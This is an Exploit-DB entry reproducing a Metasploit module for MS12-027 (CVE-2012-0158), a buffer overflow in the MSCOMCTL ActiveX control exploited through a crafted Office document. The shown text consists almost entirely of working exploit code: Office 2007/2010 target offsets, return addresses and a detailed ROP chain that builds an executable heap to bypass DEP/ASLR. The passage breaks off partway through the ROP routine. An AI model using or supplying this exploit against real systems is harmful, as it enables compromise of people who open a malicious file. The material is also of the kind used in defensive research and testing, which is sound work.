Exploit-DB #18780
Description: Microsoft Windows - MSCOMCTL ActiveX Buffer Overflow (MS12-027) (Metasploit)
Type: remote
Platform: windows
Date: 2012-04-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MS12-027 MSCOMCTL ActiveX Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious
				RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited
				in the wild on April 2012.

				This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office
				2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses
				"msgr3en.dll", which will load after office got load, so the malicious file must
				be loaded through "File / Open" to achieve exploitation.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'juan vazquez', # Metasploit module
					'sinn3r' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0158' ],
					[ 'OSVDB', '81125' ],
					[ 'BID', '52911' ],
					[ 'MSB', 'MS12-027' ],
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ],
					[ 'URL', 'http://abysssec.com/files/The_Arashi.pdf' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500,
					'Space'         => 900,
					'BadChars'      => "\x00",
					'DisableNops'   => true # no need
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# winword.exe v12.0.4518.1014 (No Service Pack)
					# winword.exe v12.0.6211.1000 (SP1)
					# winword.exe v12.0.6425.1000 (SP2)
					# winword.exe v12.0.6612.1000 (SP3)
					[ 'Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English',
						{
							'Offset' => 270,
							'Ret' => 0x27583c30, # jmp esp # MSCOMCTL.ocx 6.1.95.45
							'Rop' => false
						}
					],
					# winword.exe v14.0.6024.1000 (SP1)
					[ 'Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English',
						{
							'Ret' => 0x3F2CB9E1, # ret # msgr3en.dll
							'Rop' => true,
							'RopOffset' => 120
						}
					],
				],
			'DisclosureDate' => 'Apr 10 2012',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc']),
			], self.class)
	end

	def stream(bytes)
		Rex::Text.to_hex(bytes).gsub("\\x", "")
	end

	def junk(n=1)
		tmp = []
		value = rand_text(4).unpack("L")[0].to_i
		n.times { tmp << value }
		return tmp
	end

	# Ikazuchi ROP chain (msgr3en.dll)
	# Credits to Abysssec
	# http://abysssec.com/files/The_Arashi.pdf
	def create_rop_chain
		rop_gadgets = [
			0x3F2CB9E0, # POP ECX # RETN
			0x3F10115C, # HeapCreate() IAT = 3F10115C
			# EAX == HeapCreate() Address
			0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
			# Call HeapCreate() and Create a Executable Heap. After this call, EAX contain our Heap Address.
			0x3F39AFCF, # CALL EAX # RETN
			0x00040000,
			0x00010000,
			0x00000000,
			0x3F2CB9E0, # POP ECX # RETN
			0x00008000, # pop 0x00008000 into ECX
			# add ECX to EAX and instead of calling HeapAlloc, now EAX point to the RWX Heap
			0x3F39CB46, # ADD EAX,ECX # POP ESI # RETN
			junk,
			0x3F2CB9E0, # POP ECX # RETN
			0x3F3B3DC0, # pop 0x3F3B3DC0 into ECX, it is a writable address.
			# storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;)
			0x3F2233CC, # MOV DWORD PTR DS:[ECX],EAX # RETN
			0x3F2D59DF, #POP EAX # ADD DWORD PTR DS:[EAX],ESP # RETN
			0x3F3B3DC4, # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
									# then we add ESP to the Zero which result in storing ESP into that address,
									# we need ESP address for copying shellcode ( which stores in Stack ),
									# and we have to get it dynamically at run-time, now with my tricky instruction, we have it!
			0x3F2F18CC, # POP EAX # RETN
			0x3F3B3DC4, # pop 0x3F3B3DC4 ( ESP address ) into EAX
			# makes ECX point to nearly offset of Stack.
			0x3F2B745E, # MOV ECX,DWORD PTR DS:[EAX] #RETN
			0x3F39795E, # POP EDX # RETN
			0x00000024, # pop 0x00000024 into EDX
			# add 0x24 to ECX ( Stack address )
			0x3F39CB44, # ADD ECX,EDX # ADD EAX,ECX # POP ESI # RETN
			junk,
			# EAX = ECX
			0x3F398267, # MOV EAX,ECX # RETN
			# mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location,
			# and the popping it into ESI ! now ESI point where shellcode stores in stack
			0x3F3A16DE, # MOV DWORD PTR DS:[ECX],EAX # XOR EAX,EAX # POP ESI # RETN
			# EAX = ECX
			0x3F398267, # MOV EAX,ECX # RETN
			0x3F2CB9E0, # POP ECX # RETN
			0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
			# makes EAX point to our RWX Heap
			0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
			# makes EDI = Our RWX Heap Address
			0x3F2B0A7C, # XCHG EAX,EDI # RETN 4
			0x3F2CB9E0, # POP ECX # RETN
			junk,
			0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
			# makes EAX point to our RWX Heap
			0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
			# just skip some junks
			0x3F38BEFB, # ADD AL,58 # RETN
			0x3F2CB9E0, # POP ECX # RETN
			0x00000300, # pop 0x00000300 into ECX ( 0x300 * 4 = Copy lent )
			# Copy shellcode from stack into RWX Heap
			0x3F3441B4, # REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # POP EDI # POP ESI # RETN
			junk(2), # pop into edi # pop into esi
			0x3F39AFCF # CALL EAX # RETN
		].flatten.pack("V*")

		# To avoid shellcode being corrupted in